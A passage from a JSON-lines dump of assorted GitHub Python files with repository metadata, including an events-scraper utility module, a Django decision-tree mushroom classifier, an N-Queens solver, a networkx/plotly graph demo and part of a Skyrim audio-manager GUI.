'config', 'ini'}:\n            ini_parser = ConfigParser()\n            ini_parser.read(config_file_path)\n            return parse_config_file(ini_parser, [ConfigParser.__getitem__, SectionProxy.__getitem__], file_extension)\n\n        # Read a config file of file type .json\n        if file_extension == 'json':\n            with open(config_file_path) as f:\n                json_parser = json.load(f)\n                return parse_config_file(json_parser, [dict.__getitem__] * 2, file_extension)\n\n        # Read a config file of file type: .yaml, .yml\n        if file_extension in {'yaml', 'yml'}:\n            with open(config_file_path) as f:\n                yaml_parser = yaml.load(f)\n                return parse_config_file(yaml_parser, [dict.__getitem__] * 2, file_extension)\n\n        # Read a config file of file type .xml\n        if file_extension == 'xml':\n            tree = ET.parse(config_file_path)\n            root = tree.getroot()\n            return parse_config_file(root, [Element.find] * 2, file_extension)\n\n    # Handle exception where the file cannot be found\n    except FileNotFoundError as e:\n        print(str(e))\n        sys.exit(1)\n\n    # Handle exception where a key within the configuration file cannot be found\n    except KeyError as e:\n        print('Missing Key: {}'.format(e))\n        sys.exit(1)\n\n\ndef extract_start_end_pages(pages):\n    \"\"\"Return the proper order of start/end pages\n\n    Parameters\n    ----------\n    pages : list\n        A list of page numbers\n\n    Returns\n    -------\n    tuple (int, int)\n        A tuple of page numbers\n\n    Raises\n    ------\n    InvalidArgumentsError\n        if the user entered more than 2 page numbers\n    \"\"\"\n\n    # If the no page numbers were entered, have the start page be 0 and end page be 1\n    if len(pages) == 0:\n        return 0, 1\n\n    # If one page number was entered, have the start page be 0 and end page be the entered page\n    elif len(pages) == 1:\n        return 0, pages[0]\n\n    # If two page numbers were entered, have the start page be pages[0]-1 and have the end page be pages[1]\n    elif len(pages) == 2:\n        return pages[0] - 1, pages[1]\n\n    # If more than two page numbers were entered, raise an InvalidArgumentsError\n    else:\n        raise InvalidArgumentsError('Too many page arguments. Only 0-2 are needed.')\n\n\ndef read_args(args):\n    \"\"\"Read command line arguments and extract the configuration settings for the program's execution.\n\n    Parameters\n    ----------\n    args : list\n        Command line arguments\n\n    Returns\n    -------\n    Configuration\n        an instance of Configuration that stores all of the configuration settings for the program's execution\n\n    Raises\n    ------\n    InvalidArgumentsError\n        if any of the command line arguments are invalid\n    InvalidExportFileTypeError\n        if the export file is an invalid file type\n    \"\"\"\n\n    # Extract ChromeDriver path, headless, deep scrape\n    chromedriver_path = os.path.abspath(args[args.index('--path')+1])\n    headless = '--head' not in args\n    deep_scrape = '--deep' in args\n\n    # Extract the numbers of the pages that will be scraped\n    pages = list(map(int, filter(lambda arg: arg.isnumeric(), args)))\n    start_page, end_page = extract_start_end_pages(pages)\n\n    # Validate the start and end pages\n    validate_start_end_pages(start_page, end_page)\n\n    # Extract all pages and export configuration settings\n    all_pages = '--all' in args\n    export = '--export' in args\n\n    # If the `--export` flag is the last command line argument, raise an InvalidArgumentError\n    if '--export' == args[-1]:\n        raise InvalidArgumentsError('`--export` cannot be the final argument.')\n\n    # Extract export path, export file extension, overwrite, print_events\n    export_path = args[args.index('--export')+1] if export else None\n    export_extension = export_path.rsplit('.', 1)[-1].lower() if export_path else None\n    overwrite = '--overwrite' in args\n    print_evts = '--print' in args\n\n    # If the configuration setting for exporting data is enabled and\n    # the export file path has no file extension, raise an InvalidConfigFileValueError\n    if export:\n        check_file_extension_exists(export_path)\n\n    # If the export file path extension is not an allowed export\n    # file type, raise an InvalidConfigFileValueError\n    if export and export_extension not in ALLOWED_EXPORT_FILE_TYPES:\n        raise InvalidExportFileTypeError('One of the following file extensions must be provided: {}'\n                                         .format(', '.join(ALLOWED_EXPORT_FILE_TYPES)))\n\n    # Create a new instance of Configuration and return it\n    return Configuration(chromedriver_path, headless, deep_scrape, start_page, end_page,\n                         all_pages, export, overwrite, export_path, export_extension, print_evts)\n\n\ndef extract_date_time(raw_date_time, tz):\n    \"\"\"Extract the date & time from a raw string.\n\n    Parameters\n    ----------\n    raw_date_time : str\n        The raw string containing information about an event's date & time\n    tz : str\n        The timezone of the event\n\n    Returns\n    -------\n    tuple (str, str)\n        A tuple with the event start datetime and event end datetime, both formatted as: MM/DD/YYYY HH:MM AM/PM UTC-OFFSET\n    \"\"\"\n\n    start_date, end_date, start_time, end_time = None, None, None, None\n\n    # If an event is `All Day`, set the start time to be 12:00 AM and end time to be 11:59 PM\n    if re.search(ALL_DAY_REGEX, raw_date_time):\n        start_time = datetime.strptime('12:00 AM', '%I:%M %p')\n        end_time = datetime.strptime('11:59 PM', '%I:%M %p')\n\n    # Extract the start and end dates of an event\n    pattern = re.compile(DATE_REGEX)\n    for match in re.finditer(pattern, raw_date_time):\n        date = match.group()\n\n        # If the event has distinct start and end dates, extract them\n        if re.search(START_END_REGEX, raw_date_time):\n            if start_date:\n                end_date = datetime.strptime(date, '%m/%d/%Y')\n            else:\n                start_date = datetime.strptime(date, '%m/%d/%Y')\n        # Else, set the start and end dates to the same date\n        else:\n            start_date = datetime.strptime(date, '%m/%d/%Y')\n            end_date = datetime.strptime(date, '%m/%d/%Y')\n\n    # Extract the start and end times of an event\n    pattern = re.compile(TIME_REGEX)\n    for match in re.finditer(pattern, raw_date_time):\n        time = match.group()\n        if start_time:\n            end_time = datetime.strptime(time, '%I:%M %p')\n        else:\n            start_time = datetime.strptime(time, '%I:%M %p')\n\n    # If end_date is None, set it to start_date\n    if not end_date:\n        end_date = start_date\n\n    # If end_time is None, set it to two hours after start_time\n    if not end_time:\n        end_time = start_time + timedelta(hours=2)\n\n    # Combine the start/end dates & start/end times into datetime objects\n    start = datetime.combine(start_date.date(), start_time.time())\n    end = datetime.combine(end_date.date(), end_time.time())\n\n    # Add timezones to the datetime objects\n    start_w_timezone = timezone(tz).localize(start)\n    end_w_timezone = timezone(tz).localize(end)\n\n    # Return the event start datetime and event end datetime, both formatted as: MM/DD/YYYY HH:MM AM/PM UTC-OFFSET\n    return start_w_timezone.strftime('%m/%d/%Y %I:%M %p %Z%z'), end_w_timezone.strftime('%m/%d/%Y %I:%M %p %Z%z')\n\n\ndef extract_contact_info(raw_contact):\n    \"\"\"Extract the contact information from a raw string of contact info.\n\n    Parameters\n    ----------\n    raw_contact : str\n        The raw string containing information about the contact info for an event.\n\n    Returns\n    -------\n    dict\n        A dictionary containing contact information (name, phone number, email)\n    \"\"\"\n\n    parsed_data = {}\n\n    # Extract the name of the contact\n    contact_names = re.findall(CONTACT_NAME_REGEX, raw_contact, flags=re.MULTILINE)\n    if contact_names:\n        parsed_data['name'] = '\\n'.join(contact_names)\n\n    # Extract the email of the contact\n    pattern = re.compile(EMAIL_REGEX)\n    for match in re.finditer(pattern, raw_contact):\n        email = match.group()\n        parsed_data['email'] = email\n\n    # Extract the phone number of the contact\n    pattern = re.compile(PHONE_NUMBER_REGEX)\n    for match in re.finditer(pattern, raw_contact):\n        phone_number = match.group()\n        parsed_data['phone_number'] = phone_number\n\n    # Return the extracted contact info dictionary\n    return parsed_data\n\n\ndef format_attribute(attr):\n    \"\"\"Format the attribute/key of an object/dict for printing (my_attr -> My Attr)\n\n    Parameters\n    ----------\n    attr : str\n        The string to be formatted.\n\n    Returns\n    -------\n    str\n        The formatted string.\n    \"\"\"\n    return ' '.join(map(lambda x: x.capitalize(), re.split(r' |_', attr)))\n\n\ndef print_event(evt):\n    \"\"\"Print out an event to the command line.\n\n    Parameters\n    ----------\n    evt : Event\n        The event to be printed out.\n    \"\"\"\n\n    # Retrieve the __str__ representation of the event.\n    print_str = str(evt)\n\n    # Retrieve the values of the event's location, contact info, and description and add them to the print_str\n    for attr in ['location', 'contact', 'description']:\n\n        # If the event has this attribute, add to the print string\n        if evt.__dict__[attr]:\n\n            # If the attribute is contact info, add the contact info's keys and values to the print string\n            if attr == 'contact':\n                print_str += 'Contact:\\n'\n                for label, value in evt.__dict__[attr].items():\n                    print_str += '  {:<{fill}} {}\\n'.format(format_attribute(label) + ':', value,\n                                                            fill=max(map(len, evt.contact.keys())) + 1)\n                else:\n                    print_str += '\\n'\n            # Else, add the attribute and its value to the print string\n            else:\n                print_str += '{}:\\n{}\\n\\n'.format(format_attribute(attr), evt.__dict__[attr])\n\n    # If the event has additional info, add its keys and values to the print string\n    if evt.__dict__['additional_info']:\n        print_str += 'Additional Info:\\n'\n        for label, value in evt.additional_info.items():\n            print_str += '  {:<{fill}} {}\\n'.format(label+':', value, fill=max(map(len, evt.additional_info.keys()))+1)\n\n    # Print the print string\n    print(print_str.strip())\n\n\ndef print_events(events):\n    \"\"\"Print out a list of events to the command line.\n\n    Parameters\n    ----------\n    events : list\n        List of events to be printed out\n    \"\"\"\n\n    # Loop through all events in the event list and print them out\n    for evt in events:\n        try:\n            print_event(evt)\n            print('-' * 120)\n        # Handle exceptions that deal with issues with printing Unicode characters\n        except UnicodeEncodeError:\n            pass\n\n\ndef export_json(events, export_file_path):\n    \"\"\"Export a list of events to a JSON file.\n\n    Parameters\n    ----------\n    events : list\n        A list of events to be exported to a JSON file.\n    export_file_path : str\n        The destination file path of the JSON file to be written/overwritten.\n    \"\"\"\n    with open(export_file_path, 'w') as f:\n        json.dump({'events': events}, f, indent=4)\n\n\ndef convert_dict_to_xml(parent, dictionary):\n    \"\"\"Convert a dictionary to a set of nested XML elements.\n\n    Parameters\n    ----------\n    parent : Element\n        The XML element that this XML element will be nested in.\n    dictionary : dict\n        The dictionary that will be converted to a set of nested XML elements.\n    \"\"\"\n\n    # Loop through all key-value pairs in this dictionary\n    for key, value in dictionary.items():\n        # If this key has no value associated with it, continue to the next key\n        if not value:\n            continue\n        # Create a new XML element with this key and nest it within the parent element\n        element = ET.SubElement(parent, key)\n        # If the value is a dictionary, recursively call this method\n        # and have the converted dictionary be nested within element\n        if isinstance(value, dict):\n            convert_dict_to_xml(element, value)\n        # Otherwise, set value to be this element's text value\n        else:\n            element.text = value\n\n\ndef export_xml(events, export_file_path):\n    \"\"\"Export a list of events to an XML file.\n\n    Parameters\n    ----------\n    events : list\n        A list of events to be exported to an XML file.\n    export_file_path : str\n        The destination file path of the XML file to be written/overwritten.\n    \"\"\"\n\n    # Have an <events> element be the root element\n    root = ET.Element('events')\n\n    # Loop through all events in the event list, convert them into XML elements, and nest them within the root element\n    for evt in events:\n        # Create an XML element called <event>\n        evt_element = ET.SubElement(root, 'event')\n        # Convert the event and its information within <event>\n        convert_dict_to_xml(evt_element, evt)\n\n    # `Prettify` the XML text, with each level deep being indented\n    xml_str = minidom.parseString(ET.tostring(root)).toprettyxml(indent='  ')\n    with open(export_file_path, 'w') as xml_file:\n        xml_file.write(xml_str)\n\n\ndef export_yaml(events, export_file_path):\n    \"\"\"Export a list of events to a YAML file.\n\n    Parameters\n    ----------\n    events : list\n        A list of events to be exported to a YAML file.\n    export_file_path : str\n        The destination file path of the YAML file to be written/overwritten.\n    \"\"\"\n\n    with open(export_file_path, 'w') as yaml_file:\n        yaml.dump({'events': events}, yaml_file, default_flow_style=False)\n\n\ndef export_events(events, config):\n    \"\"\"Export a list of events to a file.\n\n    Parameters\n    ----------\n    events : list\n        A list of events to be exported.\n    config : Configuration\n        Configuration settings for exporting events.\n\n    Raises\n    ------\n    OverwriteExistingFileError\n        If the file to export to already exists and configuration settings disabled overwriting.\n    \"\"\"\n\n    # If the program is not allowed to overwrite an existing file, raise an OverwriteExistingFileError\n    if not config.overwrite and os.path.isfile(config.export_path):\n        raise OverwriteExistingFileError('`{}` already exists.'.format(config.export_path))\n\n    # If the directories along the export file path does not exist, create them\n    os.makedirs(os.path.dirname(config.export_path), exist_ok=True)\n\n    # If the export file extension is .json, export events to a JSON file\n    if config.export_extension == 'json':\n        export_json([evt.__dict__ for evt in events], config.export_path)\n\n    # If the export file extension is .xml, export events to an XML file\n    elif config.export_extension == 'xml':\n        export_xml([evt.__dict__ for evt in events], config.export_path)\n\n    # If the export file extension is .yaml/.yml, export events to a YAML file\n    elif config.export_extension in {'yaml', 'yml'}:\n        export_yaml([evt.__dict__ for evt in events], config.export_path)\n","repo_name":"haanmiba/UB-Events-Calendar-Web-Scraper","sub_path":"Utility.py","file_name":"Utility.py","file_ext":"py","file_size_in_byte":25789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74543092838","text":"import pygame\nimport PIL.Image as Image\nimport PIL.ImageDraw as ImageDraw\n\nimage = Image.new(\"RGB\", (640, 480))\n\ndraw = ImageDraw.Draw(image)\n\n# points = ((1,1), (2,1), (2,2), (1,2), (0.5,1.5))\npoints = ((100, 100), (200, 100), (200, 200), (100, 200), (50, 150))\ndraw.polygon((points), fill=200)\n\ndef pilImageToSurface(pilImage):\n    return pygame.image.fromstring(\n        pilImage.tobytes(), pilImage.size, pilImage.mode).convert()\n\npygame.init()\nwindow = pygame.display.set_mode((640, 480))\nclock = pygame.time.Clock()\n\n\npygameSurface = pilImageToSurface(image)\n\nrun = True\nwhile run:\n    clock.tick(60)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            run = False\n\n    window.fill(0)\n    window.blit(pygameSurface, pygameSurface.get_rect(center = (320, 240)))\n    pygame.display.flip()\n","repo_name":"Gleiphir/EEGDeep","sub_path":"imageGUI.py","file_name":"imageGUI.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19773157485","text":"from django.http.response import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nfrom mushroomCLSF.datasets.mushrooms import load_mushrooms\nimport numpy as np\nfrom mushroomCLSF.views.util import extract_data\n\n\ndef get_decision_path(model, input_sample):\n    node_indicator = model.decision_path(input_sample)\n    leaf_id = model.apply(input_sample)\n    feature = model.tree_.feature\n    threshold = model.tree_.threshold\n    feature_names = input_sample.columns.to_list()\n    sample_id = 0\n    # obtain ids of the nodes `sample_id` goes through, i.e., row `sample_id`\n    node_index = node_indicator.indices[\n                    node_indicator.indptr[sample_id]: node_indicator.indptr[sample_id + 1]\n                 ]\n\n    path = []\n    for i, node_id in enumerate(node_index):\n        # continue to the next node if it is a leaf node\n        if leaf_id[sample_id] == node_id:\n            continue\n\n        # check if value of the split feature for sample 0 is below threshold\n        if input_sample.values[sample_id, feature[node_id]] <= threshold[node_id]:\n            threshold_sign = \"<=\"\n        else:\n            threshold_sign = \">\"\n\n        response_threshold = str(threshold[node_id])\n        response_no = int(i)\n        response_node_id = int(node_id)\n        response_feature = str(feature_names[feature[node_id]])\n        response_value = str(input_sample.values[sample_id, feature[node_id]])\n        response_inequality_sign = str(threshold_sign)\n\n        path.append({\n            'no': response_no,\n            'node_id': response_node_id,\n            'feature': response_feature,\n            'value': response_value,\n            'inequality_sign': response_inequality_sign,\n            'threshold': response_threshold,\n        })\n    return path\n\n\ndef classify(data):\n    \"\"\" CLASSIFICATION CODE HERE \"\"\"\n    data = {key: [value] for (key, value) in data.items()}\n    input_features = list(data.keys())\n    df, encode, decode = load_mushrooms(features=input_features, encode=True)\n    input_df = pd.DataFrame.from_dict(data)\n    for column in input_df:\n        input_df[column] = encode(input_df, column)\n    x_train, x_test, y_train, y_test = train_test_split(df[input_features], df['class'], random_state=42, test_size=0.2)\n    model = DecisionTreeClassifier(criterion='entropy')\n    model.fit(x_train, y_train)\n    output = model.predict(input_df)\n    result = decode(output, column='class')[0]\n    explanation = get_decision_path(model, input_df)\n    return result, explanation\n\n\n@csrf_exempt\ndef decision_tree_classify(request):\n    if request.method == 'POST':\n        data = json.loads(request.body)\n        converted = extract_data(data)\n        result, explanation = classify(converted)\n        return JsonResponse(\n            data={\n                \"status\": 200,\n                \"result\": result,\n                \"explanation\": explanation\n            }\n        )\n\n\nif __name__ == '__main__':\n    sample_request_data = {\n        'cap-shape': 'x',\n        'cap-surface': 's',\n        'cap-color': 'n',\n        # 'bruises': 't',\n        # 'odor': 'p',\n        'stalk-shape': 'e',\n        'stalk-root': 'e',\n        'spore-print-color': 'k',\n        'habitat': 'u',\n        'population': 's',\n        'ring-type': 'p',\n    }\n    expected_label = 'p'\n    res_label, explain_text = classify(sample_request_data)\n    print(f'Expected result: {expected_label}')\n    print(f'Result: {res_label}\\nReason: {explain_text}')\n","repo_name":"tuanvu9981/mushroomBE","sub_path":"mushroomCLSF/views/decision_tree_view.py","file_name":"decision_tree_view.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19296341529","text":"# Criar uma lista e usando for preencher com os 3000 primeiros valores pares.\n\nlista = []\n\nfor i in range(3000):\n    lista.append(i*2)\nprint(lista)\n\n\n# Criar uma lista e usando while preencher com os 3000 primeiros valores pares.\n\nlista = []\ni = 0\n\nwhile i < 3000:\n    lista.append(i*2)\n    i += 1\nprint(lista)\n","repo_name":"nunopalomino/ipe-ex","sub_path":"lista-4/ex-4.py","file_name":"ex-4.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43024882544","text":"from plotly.offline import plot\nimport plotly.graph_objs as go\nimport networkx as nx\n\n\nG = nx.Graph()\nG.add_edges_from([(1, 2), (1, 3), (2, 4), (2, 5)])\n\n\nG.add_nodes_from([1], pos=[0.0, 0.0])\nG.add_nodes_from([2], pos=[0.1, 0.2])\nG.add_nodes_from([3], pos=[0.1, -0.2])\nG.add_nodes_from([4], pos=[0.2, 0.4])\nG.add_nodes_from([5], pos=[0.2, -0.2])\n\npos = nx.get_node_attributes(G, 'pos')\nprint(pos)\nprint(G.node)\ndmin = 1\nncenter = 0\nfor n in pos:\n    x, y = pos[n]\n    d = (x-0.5)**2+(y-0.5)**2\n    if d < dmin:\n        ncenter = n\n        dmin = d\n\np = nx.single_source_shortest_path_length(G, ncenter)\n\n# Create Edges\n\nedge_trace = go.Scatter(x=[], y=[], line=dict(width=5.5, color='#888', shape='spline', smoothing=1.3), hoverinfo='none', mode='lines')\n\nfor edge in G.edges():\n    x0, y0 = G.node[edge[0]]['pos']\n    x1, y1 = G.node[edge[1]]['pos']\n    edge_trace['x'] += tuple([x0, x1, None])\n    edge_trace['y'] += tuple([y0, y1, None])\n\nnode_trace = go.Scatter(\n    x=[],\n    y=[],\n    text=[],\n    mode='markers',\n    hoverinfo='text',\n    marker=dict(\n        showscale=False,\n        # colorscale options\n        #'Greys' | 'YlGnBu' | 'Greens' | 'YlOrRd' | 'Bluered' | 'RdBu' |\n        #'Reds' | 'Blues' | 'Picnic' | 'Rainbow' | 'Portland' | 'Jet' |\n        #'Hot' | 'Blackbody' | 'Earth' | 'Electric' | 'Viridis' |\n        colorscale='Earth',\n        reversescale=False,\n        color=[],\n        size=10,\n        colorbar=dict(\n            thickness=15,\n            title='Node Connections',\n            xanchor='left',\n            titleside='right'\n        ),\n        line=dict(width=2)))\n\nfor node in G.nodes():\n    x, y = G.node[node]['pos']\n    node_trace['x'] += tuple([x])\n    node_trace['y'] += tuple([y])\n\n# Color Node Points\n\nfor node, adjacencies in enumerate(G.adjacency()):\n    node_trace['marker']['color']+=tuple([len(adjacencies[1])])\n    node_info = '# of connections: '+str(len(adjacencies[1]))\n    node_trace['text']+=tuple([node_info])\n\n# Create Network Graph\n\nfig = go.Figure(data=[edge_trace, node_trace],\n             layout=go.Layout(\n                title='<br>Network graph made with Python',\n                titlefont=dict(size=16),\n                showlegend=False,\n                hovermode='closest',\n                margin=dict(b=20, l=5, r=5, t=40),\n                annotations=[dict(\n                    text='',\n                    showarrow=False,\n                    xref=\"paper\", yref=\"paper\",\n                    x=0.005, y=-0.002)],\n                xaxis=dict(showgrid=True, zeroline=True, showticklabels=True),\n                yaxis=dict(showgrid=True, zeroline=True, showticklabels=True)))\n\nplot(fig, filename='networkx.html', auto_open=False)\n\n\n\n\n\n'''\nЭта штука нужна что бы располагать вершины в графе относительно своих братьев\n\nneighbour = [2]\nfor edge in Edges.objects.all():\n    G.add_edges_from([(edge.parent, edge.child)])  # добавляем грань в граф\n    neighbour.append(edge.parent.edges_set.count() + 1)  # добавляем для каждой вершины кол-во её братьев\n    # print(edge.child, ' - ', edge.parent.edges_set.count() + 1)\n# print(neighbour)\n\ncount = 0\ny = 0\nfor node in Nodes.objects.order_by('depth'):\n    x = node.depth\n    divider = 10000/neighbour[count]\n    if neighbour[count] != neighbour[count-1] or count == 0:\n        y = divider\n        G.add_nodes_from([node], pos=[x, y])\n    else:\n        y += divider\n        G.add_nodes_from([node], pos=[x, y])\n    # neighbours = node.edges_set.count()  # кол-ви детей у вершины\n    count += 1\n'''\n","repo_name":"Selagru/e.course","sub_path":"treegraph/graph_test.py","file_name":"graph_test.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32246926721","text":"result = []\n\n\ndef is_safe(board, row, col, n):\n    for i in range(col):\n        if board[row][i]:\n            return False\n\n    i = row\n    j = col\n    while i >= 0 and j >= 0:\n        if board[i][j]:\n            return False\n        i -= 1\n        j -= 1\n\n    i = row\n    j = col\n    while j >= 0 and i < n:\n        if board[i][j]:\n            return False\n        i = i + 1\n        j = j - 1\n    return True\n\n\ndef get_n_q_sol(board, col, n):\n    if col == n:\n        v = []\n        for row in board:\n            for j in range(len(row)):\n                if row[j] == 1:\n                    v.append(j + 1)\n        result.append(v)\n        return True\n\n    res = False\n\n    for i in range(n):\n        if is_safe(board, i, col, n):\n            board[i][col] = 1\n            res = get_n_q_sol(board, col + 1, n) or res\n            board[i][col] = 0\n    return res\n\n\ndef print_boards(n):\n    print(\"Total Possible Solutions for Board Size \", n, \"*\", n, \" is :\", len(result))\n    print('Solutions Are as Follow : ')\n    for board in range(len(result)):\n        for i in range(n):\n            for j in range(n):\n                if j == result[board][i] - 1:\n                    print('1', end=\" \")\n                else:\n                    print('0', end=\" \")\n            print()\n        print()\n\n\nn = int(input(\"Enter Board Size : \"))\nboard = [[0 for i in range(n)] for j in range(n)]\nget_n_q_sol(board, 0, n)\nprint_boards(n)\n","repo_name":"kunalP2307/AI_LAB","sub_path":"n_queen.py","file_name":"n_queen.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13859009389","text":"#BOJ 15688번\n\nimport sys\ninput = sys.stdin.readline \n\nn = int ( input() )\ndatas = [0] * 2000001\n\nfor _ in range ( n ) :\n    datas[int(input())+1000000 ] += 1\n\nfor index , value in enumerate ( datas ) :\n    if value == 0 :\n        continue\n    for _ in range( value ) :\n        print( index-1000000 )\n","repo_name":"Kimuksung/codewars-programmers","sub_path":"BOJ 15688번_2.py","file_name":"BOJ 15688번_2.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22117570489","text":"# initialize_totsumqt\n\n# menu_excel load\nimport pandas as pd\n\nfilepath = './menu_excel.xlsx'\nmenu_excel = pd.read_excel(filepath)\n\n\n# menu class\nclass Menu:\n    def __init__(self, idx):\n        # instance attribute 정의\n        self.name = menu_excel['메뉴명'][idx]\n        self.cost = menu_excel['가격'][idx]\n        self.qt = 0\n        self.tot = 0\n\n    # 수량 변경/취소\n    def menu_qt(self, num):\n        # 음수 처리\n        if self.qt + num < 0:\n            self.qt = 0\n        # 수량 취소\n        elif num == 0:\n            self.qt = 0\n        else:\n            self.qt += num\n\n        total.tot_qt(self.qt)\n\n        return self.qt\n\n    # 메뉴 금액 계산\n    def menu_tot(self):\n        self.tot = self.qt * self.cost\n\n        total.tot_sum(self.tot)\n\n        return self.tot\n\n\n# menu class instance 정의\namericano = Menu(0)\nlatte = Menu(1)\niceamericano = Menu(2)\nicelatte = Menu(3)\n\n\n#전체 수량, 총액 class\nclass Total:\n    def __init__(self):\n        self.qt = 0\n        self.sum = 0\n\n    def tot_qt(self, qt):\n        self.qt += qt\n\n        return self.qt\n\n    def tot_sum(self, tot):\n        self.sum += tot\n\n        return self.sum\n\ntotal = Total()","repo_name":"brilliantOh/POS_packages","sub_path":"trash/initialize_totsumqt.py","file_name":"initialize_totsumqt.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"15535487412","text":"import os\nimport webbrowser\nimport pyperclip\nimport multiprocessing\nimport PySimpleGUI as sg\nimport traceback\nimport sys\nfrom os.path import exists\nfrom threading import Thread\nfrom threading import Lock\nfrom random import randint, randrange\nfrom pydub import AudioSegment\nfrom multiprocessing.pool import ThreadPool\nfrom PyUtils.SkyAudioEncoder import SkyAudioEncoder\nfrom PyUtils.MusicUtils import MusicUtils\nfrom PyUtils.FileUtils import FileUtils\nfrom PyUtils.FileUtils import Exts\nfrom PyUtils.Functions import *\nfrom PyUtils.Logger import Logger\nfrom Gui.AudioData import AudioData\nfrom Gui.ReportBatchCmd import ReportBatchCmd\nfrom Gui.ReportAudioDetails import ReportAudioDetails\nfrom Settings.AppInfo import AppInfo\nfrom Settings.ProfileManager import ProfileManager\n\n\nclass AudioLogicLayer:\n\n    STR_INFO_POPUP = \"Info\"\n    STR_ERROR_POPUP = \"Error\"\n    STR_CANCEL = \"Cancel\"\n    STR_OK = \"Ok\"\n    batchReportMutex = Lock()\n\n    def __init__(self, app_dir):\n        self.app = AppInfo(app_dir)\n        self.profile_manager = ProfileManager(app_dir)\n        self.encoder = SkyAudioEncoder(self.app.audio_encoder_dir)\n        self.player = MusicUtils()\n        self.console_output = \"CK Audio Manager initialized...\\n\"\n        self._console_has_change = True\n\n    def generate_list_audio_data(self):\n        \"\"\"\n        Generates the list of audio data used to fill the AudioWindow table.\n        :return:\n        \"\"\"\n        _log = Logger.get()\n        _log.debug(\"-- generate_list_audio_data()\")\n        skyrim_files_path = self.profile_manager.profile_db_dir()\n        comments_csv = self.app.settings_obj.comments_file\n        actors_csv = self.app.settings_obj.actors_file\n        scene_order_csv = self.app.settings_obj.scene_order_file\n        list_audio_data = AudioData.generate_list_audio_data(skyrim_files_path, comments_csv, actors_csv, scene_order_csv)\n        return list_audio_data\n\n    def create_audio_details_report(self, list_audio_data, ask_popup=True):\n        _log = Logger.get()\n        _log.debug(\" -- create_audio_details_report()\")\n        list_details = []\n        item: AudioData\n        for item in list_audio_data:\n            status_dict = AudioLogicLayer.file_status_dic(item.file_path)\n            details = ReportAudioDetails()\n            # audio status\n            details.mp3 = status_dict[\"mp3\"]\n            details.wav = status_dict[\"wav\"]\n            details.xwm = status_dict[\"xwm\"]\n            details.lip = status_dict[\"lip\"]\n            details.fuz = status_dict[\"fuz\"]\n            # dialog data\n            details.quest_id = item.quest_id\n            details.actor = item.actor_name\n            details.file = item.file_name\n            details.subtitle = item.subtitle\n            details.file_path = item.file_path\n            details.dialog_type = item.dialog_type\n            details.emotion = item.emotion\n            details.voice_type = item.voice_type\n            details.topic_id = item.topic_id\n            details.branch_id = item.branch_id\n            details.scene_id = item.scene_id\n            details.scene_phase = item.scene_phase\n            list_details.append(details)\n        # file_name = ReportAudioDetails.export_report(list_details, self.app)\n        file_name = ReportAudioDetails.export_report(list_audio_details=list_details,\n                                                     output_dir=self.profile_manager.profile_docgen_dir(),\n                                                     app_name=self.app.app_name_LARGE,\n                                                     url_github=self.app.url_github)\n        _log.debug(\"file_name:\" + str(file_name))\n        _log.debug(\"Report generation finished.\")\n        self._console_add(\"Report generation finished.\")\n        if ask_popup:\n            popup_ret = \"\"\n            popup_text = \"Report generation finished. Do you want to open it?\"\n            popup_ret = sg.popup_ok_cancel(popup_text, keep_on_top=True, icon=self.app.app_icon_ico, title=AudioLogicLayer.STR_ERROR_POPUP)\n            self._console_add(popup_text)\n            url_report = \"file:///\" + os.path.realpath(file_name)\n            if popup_ret != AudioLogicLayer.STR_CANCEL:\n                webbrowser.open(url_report, new=2)\n\n\n        return file_name\n\n    @staticmethod\n    def file_status_dic(sound_path: str):\n        \"\"\"\n        Return a dict with the file status.\n        :param sound_path:\n        :return:\n        \"\"\"\n        if sound_path == \"\":\n            return \"\"\n        file_status_dict = {\n            \"mp3\": \"missing\",\n            \"wav\": \"missing\",\n            \"xwm\": \"missing\",\n            \"lip\": \"missing\",\n            \"fuz\": \"missing\"\n        }\n        mp3_file = FileUtils.change_ext(sound_path, Exts.EXT_MP3)\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        lip_file = FileUtils.change_ext(sound_path, Exts.EXT_LIP)\n        fuz_file = FileUtils.change_ext(sound_path, Exts.EXT_FUZ)\n        msg = \"\"\n        # mp3\n        if exists(mp3_file):\n            file_status_dict[\"mp3\"] = \"ok\"\n        # wav\n        if exists(wav_file):\n            file_status_dict[\"wav\"] = \"ok\"\n        # xwm\n        if exists(xwm_file):\n            file_status_dict[\"xwm\"] = \"ok\"\n        # lip\n        if exists(lip_file):\n            file_status_dict[\"lip\"] = \"ok\"\n        # fuz\n        if exists(fuz_file):\n            file_status_dict[\"fuz\"] = \"ok\"\n        return file_status_dict\n\n    @staticmethod\n    def file_status(sound_path: str):\n        \"\"\"\n        Return a string with the file status.\n        :return:\n        \"\"\"\n        # print(\"** sound_path:\" + sound_path)\n        if sound_path == \"\":\n            return \"\"\n        mp3_file = FileUtils.change_ext(sound_path, Exts.EXT_MP3)\n        wav_file = FileUtils.change_ext(sound_path, Exts.EXT_WAV)\n        xwm_file = FileUtils.change_ext(sound_path, Exts.EXT_XWM)\n        lip_file = FileUtils.change_ext(sound_path, Exts.EXT_LIP)\n        fuz_file = FileUtils.change_ext(sound_path, Exts.EXT_FUZ)\n        msg = \"\"\n        # 